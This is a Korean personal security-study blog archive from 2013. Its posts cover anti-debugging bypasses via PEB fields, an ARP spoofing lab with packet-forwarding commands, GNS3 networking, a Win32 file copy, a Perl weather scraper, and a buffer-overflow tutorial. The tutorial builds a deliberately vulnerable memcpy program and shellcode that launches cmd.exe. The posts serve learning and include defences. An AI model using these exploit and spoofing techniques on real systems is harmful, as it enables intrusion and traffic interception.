Friday, August 2, 2013

Anti-reversing - PEB.Process Heap

 본 블로그는 지식 습득후 저장을 하는 공간입니다.
블로그 내의 게시글을 인터넷에서 악의적으로 사용할 경우 본인에게 책임이 있습니다.

 PEB 구조체 시작지점에서 0x18 만큼 떨어진 지점에는 Process Heap Member의 포인터가 있습니다.
아래에서 보면 0x150000 지점입니다.












여기로 이동해보면 아래와 같습니다.
PEB.Process_Heap 에서 0xC 만큼 떨어진 지점이 Flags, 0x10 만큼 떨어진 지점이 ForceFlags 입니다.
PEB.Process_Heap.Flags 는 평상시에 0x2 값을 가지고 있다가 디버깅당하면 0x50000062 로 변경됩니다.
PEB.Process_Heap.ForceFlags 는 평상시에 0x0 값을 가지고 있다 디버깅당하면 0x40000060 으로 변경됩니다.
PEB.Process_Heap.Flags 와 ForceFlags 를 각각 2와 0으로 setting 하면 우회할 수 있습니다.











추가로
PEB.NtGlobalFlag 가 있는데 PEB 시작주소로부터 0x68 만큼 떨어진 지점에 위치해 있습니다.
아래와 같이 디버깅중일때 보통 0x00000070 으로 set 되어 있습니다.
이값을 0x0 의 값으로 변경해주면 우회할 수 있습니다.
















나머지 Anti-reversing 기법들은 차후에 다루기로 하겠습니다.


Anti-reversing - PEB.Ldr for Win XP

 본 블로그는 지식 습득후 저장을 하는 공간입니다.
블로그 내의 게시글을 인터넷에서 악의적으로 사용할 경우 본인에게 책임이 있습니다.

 Program이 OllyDBG로 로딩되어 디버깅 되는 상태가 되면 Memory의 Heap 영역에 자신이
디버깅되고 있다는것을 표시하기위해 하는 행동중 하나가
Heap Memory의 사용되지 않는 영역을 0xFEEEFEEE 로 채우는 것 입니다.

PEB의 시작주소로부터 0xC 만큼 떨어진 지점에 4바이트 포인터가 존재하는데 이것이 Ldr의 주소입니다.

위에 보이는 7FFDD000 으로부터 0xC 만큼 떨어진 0x00251EA0 가 PEB.Ldr 입니다.
이동해서 아래쪽으로 내리면 위와같이 0xFEEEFEEE 로 덮여있는 공간이 나옵니다.
이 공간을 모두 0x00000000 으로 덮어쓰면 됩니다.




Wireless LAN 환경에서 GNS Cloud를 Internet 연결하는 방법

 일반적으로 유선 Wired Network 환경에서 문제없이 인터넷이 됩니다.
하지만 Lan Port가 없는 노트북, 이를테면 Mac Book 을 사용하는 사용자나
다른 Lan Port 없이 WiFi만 가능한 노트북을 사용하는 사용자라면 GNS로 Topology를
구성하더라도 인터넷이 되지 않는다는걸 발견하게 될 겁니다.

loopback 만 추가해주시면 해결이 됩니다.


<Loopback Adapter 추가>

제어판을 여신다음 하드웨어에서 장치추가에서 adapter 를 선택해서
loopback을 선택하셔도 되고,
간단한 방법은 시작 > 실행 > cmd /k hdwwiz  하셔도 장치추가를 할 수 있습니다.
다음을 누르고 넘어갑니다.

















목록에서 직접 선택으로 레디오버튼을 옮기고 다음

















네트워크 어댑터를 선택하고 다음

















제조 업체를 Microsoft로 하고 Loopback Adapter를 선택합니다. 다음.
이렇게 장치추가가 완료되면 OS를 reboot 시켜 주세요.

















부팅이 완료되면 다시 제어판으로 돌아가 네트웍 연결로 들어갑니다.
기존에 사용중이던 wireless adapter 와 loopback 및 여러 adapter 들이 보일겁니다.
기존의 adapter 아이콘위에서 마우스 우클릭으로 공유를 선택합니다.
공유대상은 우리가 추가했던 loopback adapter 입니다.
만약 우클릭으로 공유가 보이지 않는다면 속성으로 들어가셔서 공유 Tap 에서
아래와 같이 설정해주시면 됩니다.
필자의 경우는 추가한 loopback adapter 이름이 로컬 영역 연결2 입니다.












그런후 GNS 상에서 인터넷이 열결될 cloud 를 설정할때 추가했던 loopback
여기서는 로컬 영역 연결2가 되겠내요. 로컬 영역 연결2로 설정해주면

GNS Packet이 Loopback을 통해 Wireless를 경유하여 Internet이 되게 됩니다.

















LAN 공격기법 중 ARP Spoofing 에 대해 알아보자.

 본 블로그는 지식 습득후 저장을 하는 공간입니다.
블로그 내의 게시글을 인터넷에서 악의적으로 사용할 경우 본인에게 책임이 있습니다.

 먼저 ARP Spoofing 공격을 하기 위해선 우선 전제조건이 필요하다.
ARP 는 mac address 를 사용하기 때문에 LAN 외부에 있는 네트웍은 통하질 않는다.

그래서 ARP Spoofing 을 시도하려면 공격자는 먼저 내부 네트웍으로 침투를 해야한다.
이때 내부에 Wifi 무선 공유기가 있다면 wireless Hacking 기법등으로 내부를 침투할 수
있겠지만 이건 논외로 넘어가기로 한다.


 <ARP (Address Resolution Protocol) 은 무엇인가?>

IP 주소를 변환시켜 주는 표준 프로토콜로써 내부 네트웍에서 통신을 한다고 했을때
ARP Broadcast로 어느 시스템이 특정 IP를 사용하는지 물어보고, 해당 IP를 가진
시스템이 응답을 해주면 source pc에서 target pc로 mac address 를 기반으로
data를 전송해 주는 것이다.

즉, ARP Protocol 은 외부로는 나갈수 없으며, 내부에서 여러 시스템의 mac address를
broadcast를 통해 알아내게 되고, 이를 통해 arp table 이라는 라우터의 메모리영역에
각 시스템의 IP와 mac address 를 match 시켜 기록하게된다.
기록된 arp table 을 바탕으로 외부에서 자료 요청이 있을때 요청된 ip를 기준으로
mac address를 찾게되고 해당되는 mac address 로 전송이 되는 것이다.

다시말해, LAN 환경에서 시스템을 구분짓는 것은 IP가 아니라 MAC address 이고,
WAN 환경에서 시스템을 구분짓는 것은 IP address 이다.

만약 누군가 어떤 특정 사이트에서 악의적인 글을 올려서 자신의 IP가 해당사이트로의
접근이 차단되게 되면 이를 악용하는 사례도 있다.

DHCP 가 IP를 할당할때 mac table을 확인하고 IP할당을 요청하는 시스템의 mac address와
비교를 하여 이미 match가 되는 mac address 가 있다면
mac address 와 match가 되는 ip로 할당을 해주는 것이다.

이를 이용해서 자신의 LAN 환경 설정에서 mac address 를 변경해 버린다면,
mac table 에는 자신의 mac address가 존재하지 않기 때문에 새로운 IP로 ISP에서
할당해 주는것이다. 그렇게되면 차단된 사이트로도 접근이 가능하다.


<ARP Spoofing 이란 무엇인가?>

ARP Spoofing 에 대해 알아보자.
spoofing 은 속이다는 뜻으로 해킹을 당하는 victim 으로부터 정보를 빼내는
일종의 해킹 기법이다.

ARP 는 몇가지 취약점을 가지고 있다. 정적인 Protocol 로써, data를 보내는
사람의 MAC address가 진짜인지 가짜인지 확인할 매커니즘이 없다.

attacker , victim , victim's friend 가 있다고 가정하자.
victim 은 victim's friend 에게 어떤 자료를 전송한다.

이때, attacker 가 victim 에게 victim's friend 는 나야!! 라는 packet 을 지속적으로
보내면 victim 이 가진 ARP Cache Table 의 내용이 변경이되는 것이다.

 결국은 victim 이 보내는 자료는 attacker 에게 전송되게 하는것이
arp spoofing 의 목적이다.

그런데, 여기서 한가지 문제가 있다.
attacker 가 data를 받게되면, 목적지 IP를 확인하게 되는데 자신의 IP가 아니므로
받은 Packet을 버리게 된다. Spoofing 의 의미가 없어지게 되므로,
받은 Packet 을 누군가에게 Forwarding 시키면 해결된다.

Packet Forwarding 방법에는 두가지가 있다.
Kernel 과 Application 인데 차이점은
Kernel 은 공격자의 pc가 하나의 router 로 동작하기 때문에 victim pc 에서
Traceroute 명령으로 확인해볼 경우에 발견 될 수 있다.
그리고 Application 은 traceroute 로도 발견이 불가능하다는점이다.

Kernel 에서 지원하는 방법은
     Unix : /proc/sys/net/ipv4/ip_forwarding 을 수정하여 내용을 1로 변경하면 된다.
              또는 echo 1 > /proc/sys/net/ipv4/ip_forwarding  으로도 가능하다.
     Windows : regedit 를 열어서
                 \HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
                 \IPEnableRouter 를 1로 변경해주면 된다.
Application 사용하는 방법은
     fragrouter -B1 이라는 명령으로 해결할 수 있다.




<ARP Spoofing 실습>

먼저 실습에 필요한 OS가 많은 관계로 VM을 사용해야 한다.
VM에 올릴 OS 는 Backtrack(attacker) , Win XP1(victim), Win XP2(victim's friend) 3개.
모두다 통신이 가능한 상태로 VM에서 NAT나 hostonly 로 맞혀주면 될 것이다.

victim's IP : 192.168.37.132
victim's friend IP : 192.168.37.129
attack's IP : 192.168.37.130
Gateway : 192.168.37.2

3개의 OS 를 모두 NAT 설정했다면 Gateway 도 자동으로 잡혔을 것이다.

victim 이 victim'c friend에게 data를 보내려면 gateway 를 먼저 거쳐가야 한다.
attacker 가 gateway의 mac address 를 자신의 mac address 라고 속여서 계속해서
victim pc 로 Packet 을 전송한다면 진짜 gateway로 가야할 data가 attacker 에게
전송이 되는 것이다. attacker는 간단하게 Packet Forwarding만 시켜주면 해결된다.

공격하기 전에 먼저 victim의 ARP Cache Table 을 확인해보자.






















attacker 가 지속적으로 victim에게 arp reply Packet 을 보내게 되면
victim 은 자신의 ARP Cache Table 의 내용을 인증절차 없이 Update하게 된다.





















다시 victim 의 ARP Cache Table 을 확인해보면 Mac address 가 attacker 의 mac address
로 바뀌었음을 확인할 수 있다.


















attacker's mac address





















여기서 victim's friend 는 사용되지 않았지만..
attacker 가 fragrouter -B1 으로 Packet Forwarding 을 시켜준 뒤에
victim 이 실제로 Packet 을 victim's friend로 보냈을때
attacker로 보내는것을 wireshark 를 통해  확인할 수 있으니, 확인해보기 바란다.


<ARP Spoofing 방어>

공격자는 ARP Cache Table 을 변조시키지 위해 지속적으로 ARP Reply Packet 을
던지게 되는데 이러한 ARP Storm 이 있는지 wireshark 를 통해 유추할 수 있다.

서버 관리자가 서버의 arp cache table 이 변경될때 마다 관리자 메일로 발송하는
것도 한 방법.

arp -s IP MAC 명령어로 자신의 ATP Cache Table 을 Static방식으로 직접 운영.
중요한 서버 및 게이트웨이등은 static 으로 운영하여 변조가 되지 않도록 한다.


Thursday, August 1, 2013

Win32 API 를 이용한 File Copy

 Win32 API 만을 이용해서
시스템 폴더에 있는 cmd.exe 화일을 c:\ 에 다른 이름으로 copy 를 해보자
(API중 CopyFile 및 MoveFile 사용하지 않고)

먼저 순서를 생각하고 관련된 API를 생각해보자

첫번째 Copy를 하려면 대상을 메모리로 올려야 하므로 cmd.exe 를 열어야 한다.
두번째 동일한 사이즈로 카피를 하려면 사이즈를 check 해야 한다.
세번째 읽은 내용을 메모리에 저장을 해야 한다.
네번째 메모리에 저장한 내용을 원하는 화일로 지정한 사이즈 만큼 저장한다.
마지막으로 열었던 화일핸들을 닫아 주면 된다.

OllyDBG 의 win32help 화일을 이용해도 좋고, MSDN의 Library 검색을 이용해도 된다.
관련된 함수를 좀 살펴보면,

HANDLE WINAPI CreateFile(
  _In_      LPCTSTR lpFileName,
  _In_      DWORD dwDesiredAccess,
  _In_      DWORD dwShareMode,
  _In_opt_  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  _In_      DWORD dwCreationDisposition,
  _In_      DWORD dwFlagsAndAttributes,
  _In_opt_  HANDLE hTemplateFile
);
첫번째 인자로 화일이름이 저장된 포인터, 문자열은 바로 메모리에 저장된 순간
포인터가 반환되므로 문자열을 그대로 사용해도 무방하다.
두번째 인자로 엑세스 방법인데 읽어 들여야 하므로 GENERIC_READ 가 사용된다.
(MSDN 을 꼭 참고하기 바란다)

DWORD WINAPI GetFileSize(
  _In_       HANDLE hFile,
  _Out_opt_  LPDWORD lpFileSizeHigh
);
화일의 크기를 반환받는 API 인데 사용법이 간단하다. 첫번째 인자로
화일 핸들만 넘겨주면 사이즈가 반환된다. 두번째는 반환되는 부분으로 만약 화일 사이즈가
4바이트를 넘어갈경우에 상위 4바이트를 사용해야 하는데 필요할 경우 사용이 된다.

핸들의 개념을 잠깐 설명하면
윈도우에서는 각각의 응용프로그램이 OS 자원에 직접 접근할 수가 없다.
따라서 OS가 각각의 응용프로그램이 접근해서 사용할 수 있도록 자원에 일련의
고유 ID를 붙여 놓았는데 그것을 핸들이라고 생각하면 된다.

BOOL WINAPI ReadFile(
  _In_         HANDLE hFile,
  _Out_        LPVOID lpBuffer,
  _In_         DWORD nNumberOfBytesToRead,
  _Out_opt_    LPDWORD lpNumberOfBytesRead,
  _Inout_opt_  LPOVERLAPPED lpOverlapped
);
첫번째 인자로 화일핸들과 세번째 인자로 GetFileSize 로 알아낸 사이즈를 넘겨주면 된다.
WriteFile 도 사용법이 동일하다.
마지막엔 CloseHandle 로 사용한 자원의 Handle 을 닫아 주어야 한다.

전체 적인 Coding 을 해보자.

==========================================================

#include <windows.h>

#define PATH     "C:\\windows\\system32\\cmd.exe"
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPre, LPSTR lpCmd, int nshow){
    HANDLE hFile;
    DWORD dwFileSize;
    DWORD dwRead;
    char str[500000]="0";

    //CreateFile 함수를 이용해서 화일의 핸들을 반환받고
    hFile = CreateFile(PATH, GENERIC_READ,0,NULL, OPEN_ALWAYS,            
                              FILE_ATTRIBUTE_NORMAL, NULL);

    //GetFileSize 함수를 이용해서 화일의 크기를 반환받아서
    dwFileSize = GetFileSize(hFile, NULL);

    //사이즈만큼 ReadFile을 이용해서 str 배열안으로 읽어들인다.
    ReadFile(hFile, str, dwFileSize, &dwRead, NULL);

    //화일 핸들을 닫아주고
    CloseHandle(hFile);

    //복사할 위치에 화일을 생성후 핸들을 돌려 받는다.
    hFile = CreateFile("C:\\cmd.exe", GENERIC_WRITE,0,NULL, CREATE_ALWAYS, 
                              FILE_ATTRIBUTE_NORMAL, NULL);

    //생성된 화일에 str 을 써 넣는다.
    WriteFile(hFile, str, dwFileSize, &dwRead, NULL);

    //핸들을 닫아준다.
    CloseHandle(hFile);
==========================================================
















visual C 에서 inline asm 을 이용한 BOF 공격코드 작성

 본 블로그는 지식 습득후 저장을 하는 공간입니다.
블로그 내의 게시글을 인터넷에서 악의적으로 사용할 경우 본인에게 책임이 있습니다.


 일반적으로 모의 해킹을 할때 shell 을 따내는 것을 목표로 삼는데
Backtrack 같은 hacker를 위한 툴로 무장한? OS를 대부분 이용합니다.
msfpayload 가 공격코드 제작에 대표적으로 많이 사용됩니다.
windows 계열에서 사용 가능한 metasploit도 현재 나와 있으니 관심 있으신
분들은 찾아 보시길 권합니다.

Backtrack 에서 msfpayload를 이용하여 reverse TCP로  shell을 얻는 방법도 있지만
좀 다른 방법으로 visual C와 어셈블리를 사용하여 Buffer Over Flow 공격툴을
만들어 보겠습니다.

Buffer Over Flow 의 자세한 설명은 관련 문서가 많으니 찾아보시길 바랍니다.
여기선 간단하게 설명하고 넘어 가겠습니다.

Buffer Over Flow (이하 BOF) 공격이 성공하는 이유는 보안에 취약한 함수를 사용함으로써
발생합니다. 함수안에 들어갈 data의 길이를 체크하지 않는 함수들로 인해
공격 당하기 쉬워집니다.

<BOF 간단한 예>
아래와 같은 코드는 main함수에서 func1 이라는 함수가 호출이 되었을때
stack 에서 함수의 Prolog 생성 및 parameter 공간 생성후 변수가 생성되고
이후에 return address 에 해당하는 위치로 이동후 해당 return address 조작함으로써
아래에서 hacker!! 는 출력되지 않고 cracker!! 만 출력이 되는 결과를 가져옵니다.
========================================
#include <stdio.h>
void __cdecl func1(int, int, int, int){
     int *p;
     *(&p+2) +=4;
}
int main (int argc, char* argv[])
{
     func1(1,2,3,4);

     printf("hacker!!\n");
     printf("cracker!!\n");
     return 0;
}
============================























아래와 같이 coding 합니다.
============================
#include <stdio.h>
#include <string.h>
void func(char * str){
     char buf[4];
     memcpy(buf, str, 1024);
}

int main()
{
     char attack[1024]="111111111111111111111111111";
     func(attack);
     return 0;
}
============================
참고로 memcpy라는 함수는 내부 buffer 의 길이를 check 하지 않으므로 
BOF 공격에 취약합니다. 
함수내부의 buf[4] 배열은 4바이트의 공간을 가지지만 인자로 받은 1024바이트의
문자로 덮어 씌우려 할시에 정상적으로 덮어쓰게 됩니다.
이로인해 함수의 Prolog 부분과 그리고 return address 가 모두 1111로 덮어
쓰여지게 됩니다. 

따라서 실행을 하게되면 정상적인 Return Address 가 1111(0x31313131) 로 변경이되어
해당 address로 접근할시 오류가 나게 됩니다.
사실 이 이오류를 이용해 dummy로 넣을 Byte를 확인할 수 있습니다.


shell 을 따내는 코드는 나중에 생각하기로 하고
여기서 생각해 보야야 할것은 두가지 입니다.
첫번째는 return address 까지 몇바이트를 더미로 넣어야 하는가?
두번째는 return address 에 어떤 코드를 넣어야 우리가 원하는 코드가 실행이
될 수 있게 하는가? 입니다.

첫번째에 대한 답은 결론적으로 8바이트입니다.
딱 정해져있는 값은 아니고 위에서 1111로 채워둔 것을 특정한 순서대로
채워 넣어서 BOF error 가 발생할 당시의 예외 EIP(Return Address) 를 
확인해보면 몇번째 바이트부터 EIP 즉 Return address가 되는지 확인 할 수 있습니다.

잠시 삼천포로 빠질게요...
Perl의 Pex::Text 의 PatternCreate() 라는 함수를 이용하여 pattern이 있는 특정 연속된 문자열을 자동으로 만들어 넣어줄 수가 있습니다. 이를 이용해 Error 가 발생된 문자열을
가지고 Backtrack 의 metasploit 의 patternoffset 을 이용하면 몇 바이트부터 return address
가 시작되는지를 알려줍니다.

위 코드에선 9~12바이트가 Return address 가 되므로 8바이트를 더미로 넣은후
9바이트부터 12바이트까지를 우리가 원하는 shell 을 따는 코드가 있는 주소를 
넣어주면 됩니다.
두번째 문제는 우리가 실행할 shell 이 들어가 있는 주소는 어떻게 알수 있는가?
결론은 알필요가 없다 입니다. 

모든 윈도우 응용 프로그램은 실행이되면 프로세스 단위가 되고 메모리에 적재될 때, 
필수적으로 두개의 라이브러리를 사용합니다. ntdll.dll 과 kernel32.dll 입니다.

dummy 8바이트 뒤쪽의  4바이트는 ntdll.dll 이나 kernel32.dll 에서 jmp esp 가 위치한
주소를 넣으면 됩니다.  MS 에서는 memory reallocation 을 방지하기 위해 각 라이브러리가
위치하게 될 주소는 변경이 되지 않게 만들어 두었습니다. 따라서 ntdll.dll 이나 kernel32.dll
에서 jmp esp 를 찾아봅시다. 찾은 위치는 0x7c971eed 가 jmp esp 내요.
little endian 으로 변경하면 \xed\x1e\x97\x7c 입니다.

코딩을 합니다.
=========================================
#include <stdio.h>
#include <string.h>
void func (char * str){
     char buf[4];
     memcpy(buf,str,1024);
}
int main()
{
     char attack[1024]="12345678""\xed\x1e\x97\x7c""abcd~~~~";
     func(attack);
     return 0;
}
=========================================
위와 같이 8바이트를 더미로 넣은후 return address 를 ntdll.dll 의 jmp esp 의
주소로 변경합니다.  그렇게 되면 jmp esp를 통해서 esp의 주소로 오게되면 
우리가 실행하길 원하는 코드가 (위에서는 abcd~~~) 가 실행이 됩니다.

이제부터 inline asm 을 이용해서 shell을 실행하는 코드를 만들어 보겠습니다.
==========================================
#include <windows.h>

int main(){

     __asm{
          push     ebp
          mov      ebp, esp
          sub       esp, 8h
          mov      DWORD ptr [ebp-8], 2e646d63h  //(cmd.)리틀엔디안
          mov      DWORD ptr [ebp-4], 657865h      //(exe) 리틀엔디안
          push     5                                              //SW_SHOW
          lea        eax, DWORD ptr [ebp-8]
          push     eax
          mov      ebx, 7c86114dh  //jmp esp 를 찾아 그 주소를 넣는다)
          call       ebx                    //(call 로는 메모리로 직접 접근 되지 않음)
          push     0
          mov      ebx, 7c81caa2h  //exit process 호출 (위의 인자 하나를 가짐)
          call       ebx

          mov      esp, ebp
          pop       ebp
     }
     return 0;
}
=========================================

push ebp 와 mov ebp,esp 는 함수의 Prolog 를 사용하는 이유와 동일합니다.
지금까지 사용했던 stack 을 저장하고 호출이 끝났을때 다시 복원하기 위함입니다. 
sub ebp,8h 은 cmd.exe\0 를 stack에 넣기위한 공간 할당입니다.
4바이트씩 끊어야 하며, 리틀엔디안으로 넣어야 한다는것에 주의해야 합니다.

push     5                                           //SW_SHOW 에 해당함.
lea        eax, DWORD ptr [ebp-8]
push     eax                                       //cmd.exe 를 push
mov      ebx, 7c86114dh                    //jmp esp 를 찾아 그 주소를 넣는다)
call       ebx                                      //(call 로는 메모리로 직접 접근 되지 않음)

위 asm 은 exec (cmd.exe , SW_SHOW) 로 보면된다.
주의 할점은 call 7c86114dh 와 같이 메모리로 직접 접근이 되지 않으므로
위와 같이 mov 로 값을 복사한후 register 를 call 해야 한다.

push     0
mov      ebx, 7c81caa2h  //exit process 호출 (위의 인자 하나를 가짐)
call       ebx

위 코드는 return 전에 ExitProcess(0); 을 삽입하여 오류가 나지 않게 합니다.

mov      esp, ebp
pop       ebp

함수의 Epilog 부분임.

위 asm을 실행하게 되면 아래와 같이 정상적으로 cmd 가 실행이 되어야 합니다.



















위에서 만든 실행화일을 OllyDBG로 열어서 어셈코드 부분을 바이너리 카피후 메모장에
붙여넣은후 각 바이트앞에 \x를 붙여 넣어 연결하면 아래와 같습니다.
\x55\x8B\xEC\x83\xEC\x08\xC7\x45\xF8\x63\x6D\x64\x2E\xC7\x45\xFC\x65\x78\x65\x00\x6A\x05\x8D\x45\xF8\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x6A\x00\xBB\xA2\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D

이제 우리가 실행할 cmd.exe 를 실행할 코드가 완성이 되었습니다.

전체적인 코드를 확인해보면 아래와 같습니다.

=====================================================
#include <stdio.h>
#include <string.h>
void func (char * str){
     char buf[4];
     memcpy(buf,str,1024);
}
int main()
{
     char attack[1024]="12345678""\xed\x1e\x97\x7c""\x55\x8B\xEC\x83\xEC\x08\xC7\x45\xF8\x63\x6D\x64\x2E\xC7\x45\xFC\x65\x78\x65\x00\x6A\x05\x8D\x45\xF8\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x6A\x00\xBB\xA2\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
     func(attack);
     return 0;
}
====================================================
실행을 하면 정상적으로 cmd.exe 가 실행이 되는것을 확인할 수 있습니다.
memcpy 뿐만 아니라 길이 체크를 하지 않는 함수는 많이 있습니다.
strcpy도 BOF 공격이 가능합니다.
기본적으로 Wep에서의 보안 취약점은 대부분 잘못된 함수의 사용으로 기인하는 
경우가 많으니 주의해서 사용해야 합니다.










Anti-reversing - PEB.BeingDebugged


 Anti Reversing 즉, Reverser 들이 Debugging 을 하지 못하게 막아 놓은 기법들을
잠깐 소개할까 합니다.

아주 많은 방법들이 있다고 알려져 있지만, 아는 한도 내에서 간단히 소개합니다.

여기서 사용한 Debugging tool은 OllyDBG v1.1입니다.

프로그램이 실행이 되어 메모리상에 적재가 되면 하나의 프로세스가 생성이됩니다.
이때 프로세스의 상태를 알려주는 정보도 포함이 되게 되는데
이 프로세스가 현재 Debugging이 되고 있는지에 대한 정보도 포함이 됩니다.
그 정보가 PEB(Process Environment Block) 라는 구조체에 실리는데
사용하기가 쉽기 때문에 많이 쓰입니다.

PEB.BeingDebugged

PEB 구조체에 대한 내용은 생략합니다. 검색하시면 얼마든지 공부하실 수 있음.
PEB 구조체의 시작주소로 부터 0x2 만큼 떨어진 지점에 BeingDebugged 라는 1바이트
크기의 멤버가 있는데 Debugging 중일때 이 값은 1로 변합니다.(Default 0)

따라서 이 값을 0으로 변경하면 끝입니다. 아주 쉽습니다.

<PEB 시작주소 구하기>
OllyDBG 에서는 고민할 필요 없이 처음 OllyDBG로 해당 Debugee를 불러왔을때
EBX Register가 PEB 시작 주소를 기억하고 있기 때문에 한눈에 보고 찾아 갈수가 있습니다.
아래에서는  7FFD9000 이 PEB 의 시작주소이기 때문에 0x2 만큼 떨어진 지점이
PEB.BeingDebugged 멤버입니다.



















또 다른 방법으로 TEB(Thread Environment Block) 구조체를 확인하여 알 수도 있습니다.
TEB 구조체 역시 직접 학습하기 바랍니다.
TEB 구조체에서 0x30만큼 떨어진 지점에 PEB 구조체의 의 주소가 있습니다.
TEB 구조체 시작지점으로 접근 하려면 FS:[18] (Olly에서 Ctrl+G 로 이동) 로
이동하면 됩니다. 그러면 TEB 구조체가 시작되고, 거기에서 0x30만큼 떨어진지점이
PEB 구조체의 시작지점 거기에서 0x2 만큼 떨어진 지점이 우리가 찾는 PEB.BeingDebugged 멤버입니다.

이것 저것 다 귀찮다 그러면 가장 간단한 방법으로 Olly에서 Ctrl + G 한 뒤에 FS:[30]+2 
로 PEB.BeingDebugged 멤버로 바로 날라가는 방법도 있습니다.

<예제>













위 예제는 Anti Reversing 기법중에 PEB.BeingDebugged 멤버를 찾아 현재
프로세스가 Debugging 당하는지 확인하는 코드입니다.
FS:[18] 로 TIB 시작주소를 찾습니다. TEB 시작주소로부터 0x30 만큼 떨어진 지점에
PEB 의 시작주소가 있으므로 [EAX+30] 를 다시 EAX로 담습니다.
그후 0x2 만큼 떨어진 지점 [EAX+2] 의 위치를 반환 받습니다.
이 위치의 data 가 0인지 1인지를 확인하는 cmp 명령이 RETN 다음에 있을것으로
예상됩니다.

cmp 가 아닌 TEST 로 확인을 하고 있습니다.
TEST 는 내부적으로 AND 연산을 통해 0인지 아닌지만을 판단합니다.

0이라면 즉, Debugging 이 되고 있지 않고 있으므로 정상적으로 실행이 됩니다.
0이 아니라면 즉, Debugging이 되고 있다고 판단하고 바로 종료 시킬것입니다.
TEST 의 결과를 가지고 아래 JE 에서 분기 되는것입니다.
그 아래로는 두개의 메시지 박스가 보입니다. 디버깅이 되고 있다는 메시지와
정상 실행되었다는 메시지로 보입니다.











<관련 API>
windows API 중에서 PEB.BeingDebugged 멤버를 바로 찾아주는 함수가 있습니다.
바로 isDebuggerPresent() 라는 함수입니다.

Olly 에서 함수찾기 기능으로(search for All intermodular calls) 해당 함수가 존재하는지
확인 할 수 있습니다.

사실 위에서 예제로 사용한 코드가 바로 isDebuggerPresent() 함수가 BeingDebugged
값을 찾아가는 과정입니다. 아주 단순합니다.

<WinDBG>
WinDBG를 이용하는 분들을 위해 WinDBG에서 PEB시작주소를 찾아가는법을
알려 드리겠습니다.

open executable file로 해당 file을 로딩합니다.
아래와 같이 dg 3b 로 peb 구조체의 시작을 알 수 있다.(base 값이 시작주소)
PEB의 구조체에서 각 옵셋에 해당하는 멤버을 알고 있으므로, 시작 주소만 알려주면
해당 멤버들의 주소를 알려주게 된다.









아래의 dt 는 구조체를 보겠다는 명령어. nt_tib 는 구조체 이름이며, 구조체 앞에는
항상 _를 붙여주어야 한다. 아래와 같이 구조체의 각 멤버를 확인 할 수 있다.











위에서 알아낸 구조체의 시작주소 정보를 가지고

dt _peb 주소 라고 입력하게 되면, 입력된 주소를 시작주소로 하여 각 옵셋을 계산후 peb 구조체의 각 멤버의 주소를 자동으로 계산해 보여준다.









Perl 을 이용한 간단한 네이버날씨 파싱


 Perl 이라는 언어는 언어적인 측면에서 아주 강력한 언어임엔 틀림없습니다.
특정 문서에서 반복적인 일련의 작업이라던지 시시각각 변하는 웹상의 글들을
파싱할 이유가 있다던지 할 땐 항상 Perl 이라는 언어를 떠올리게 됩니다.

Perl 을 처음 접한지 오래 되지는 않았고, 잘한다고 할 수준도 아니지만
Perl 을 처음 접하고 흥미를 느끼게 된 분들을 위해 간단한 웹 파싱 모듈을 소개합니다.

Perl 을 공부하셧던 분이라면 다들 들어 보셨을법한 LWP::Simple 이라는 모듈입니다.
워낙에 간단하고 기능이 좋아서 많이들 사용하는 것으로 알고 있습니다.

그날 그날 날씨를 확인 하려면 포털사이트로 접속해서 확인하곤 하는데
그마저도 귀찮아서 그냥 콘솔에서 확인 할 수 있도록 Perl로 간단히 만들었습니다.

=========================================================================
use LWP::Simple;
use Encode;

# 아래의 웹사이트로 접근하여 해당 지역의 날씨와 관련된 data를 긇어옵니다.
$url = "http://weather.naver.com/rgn/cityWetrWarea.nhn?cityRgnCd=CT001000";
$doc = get($url);
$doc = encode ('cp-949',$doc);          #한글관련 인코딩 변경

$doc =~ /<caption class="blind">(.+?)<\/caption>/g;
$doc = $';
$doc =~ /<div class="aside">/g;
$doc = $`;

#익명 해쉬로 돌려받음
$weather{'day'} = [ $doc =~ /<th scope="col">(.+?)<br><span>/g ];
$weather{'after'} = [ $doc =~ /<th scope="col" class="line">(.+?)<br><span>/g ];
$weather{'city'} = ["온도","날씨","강수"];
$weather{'temp'} = [ $doc =~ /<li class="nm">.+?<\/li>\s+<li>.+?<span class="temp"><strong>(.+?)<\/strong>.+?<\/span><br>\s+.+?<span class="rain"><strong>.+?<\/strong>.+?<\/span><\/li>/g ];

$weather{'atemp'} = [ $doc =~ /<th><a href\=\"\/rgn\/cityWetrCity\.nhn\?cityRgnCd\=CT0010\d{2}\">(.+?)<\/a><\/th>/g ];

$weather{'cloud'} = [ $doc =~ /<p class="icon"><img src\="http\:\/\/static\.naver\.net\/weather\/images\/w_icon\/.+?\.gif" width="64" height="46" alt="(.+?)"><\/p>/g ];

$weather{'rain'} = [ $doc =~ /강수확률\s+<span class="rain"><strong>(.+?)<\/strong>%<\/span>/g ];


#출력 부분
printf ("%-20s%-20s%-20s%-20s%-20s\n\n",$weather{'day'}[2],$weather{'day'}[0],$weather{'after'}[0],$weather{'day'}[1],$weather{'day'}[1]);

printf ("%-20s%-20s%-20s%-20s%-20s\n",$weather{'city'}[0],$weather{'temp'}
[12],$weather{'temp'}[13],$weather{'temp'}[14],$weather{'temp'}[15]);
printf ("%-20s%-20s%-20s%-20s%-20s\n",$weather{'city'}[1],$weather{'cloud'}[12],$weather{'cloud'}[13],$weather{'cloud'}[14],$weather{'cloud'}[15]);
printf ("%-20s%-20s%-20s%-20s%-20s\n",$weather{'city'}[2],$weather{'rain'}[0],$weather{'rain'}[13],$weather{'rain'}[14],$weather{'rain'}[15]);
=================================================
아래와 같이 간단히 수원지역의 날씨를 파싱해 왔습니다~
약간 수정을 거쳐야 하는 부분이 보이지만 숙제로 남겨 놓겠습니다~
참 그리고 저는 귀찮아서 use strict; use warnings; 는 쓰지 않았는데 
배우실땐 꼭 사용하시는것이 좋습니다.